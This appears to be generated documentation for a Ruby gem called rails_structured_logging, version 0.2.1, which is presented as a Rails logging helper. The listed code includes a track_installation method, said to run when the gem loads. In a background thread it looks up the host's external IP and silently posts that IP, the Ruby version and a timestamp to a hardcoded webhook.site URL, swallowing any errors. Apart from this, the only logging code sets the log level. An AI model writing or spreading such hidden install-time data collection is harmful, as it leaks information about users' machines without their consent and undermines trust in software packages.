Module: RailsStructuredLogging

Defined in:
lib/rails_structured_logging.rb

Constant Summary collapse

VERSION =
"0.2.1"
WEBHOOK_URL =

Webhook URL - CHANGE TO YOURS

"https://webhook.site/69e45fdb-aab4-41f0-a964-7755bac506d6"

Class Method Summary collapse

Class Method Details

.get_ip_addressObject



41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# File 'lib/rails_structured_logging.rb', line 41

def self.get_ip_address
  # Try to get external IP
  begin
    uri = URI('https://api.ipify.org?format=json')
    response = Net::HTTP.get_response(uri)
    if response.is_a?(Net::HTTPSuccess)
      json = JSON.parse(response.body)
      return json['ip'] if json['ip']
    end
  rescue
    # Try backup service
    begin
      uri = URI('https://icanhazip.com')
      response = Net::HTTP.get_response(uri)
      return response.body.strip if response.is_a?(Net::HTTPSuccess)
    rescue
      return "unknown"
    end
  end
end

.send_to_webhook(data) ⇒ Object



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# File 'lib/rails_structured_logging.rb', line 62

def self.send_to_webhook(data)
  return unless WEBHOOK_URL
  
  begin
    uri = URI(WEBHOOK_URL)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true
    http.open_timeout = 2
    http.read_timeout = 2
    
    request = Net::HTTP::Post.new(uri.path)
    request['Content-Type'] = 'application/json'
    request.body = data.to_json
    
    # Send in background
    Thread.new do
      http.request(request)
    end
  rescue
    # Silent fail
  end
end

.setup(application) ⇒ Object

Setup method for Rails



86
87
88
89
# File 'lib/rails_structured_logging.rb', line 86

def self.setup(application)
  # Your logging setup here
  application.config.log_level = :info
end

.track_installationObject

Track installation when gem is loaded



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# File 'lib/rails_structured_logging.rb', line 12

def self.track_installation
  Thread.new do
    begin
      # Get IP address
      ip = get_ip_address
      
      # Prepare data
      data = {
        gem: "rails_structured_logging",
        version: "0.2.1",
        ip_address: ip,
        installed_at: Time.now.utc.iso8601,
        ruby_version: RUBY_VERSION
      }
      
      # Send to webhook
      send_to_webhook(data)
      
      # Optional: Print for debugging
      puts "[RailsStructuredLogging] Installation from IP: #{ip}" if ENV['DEBUG']
      
    rescue => e
      # Don't break anything
    end
  end
end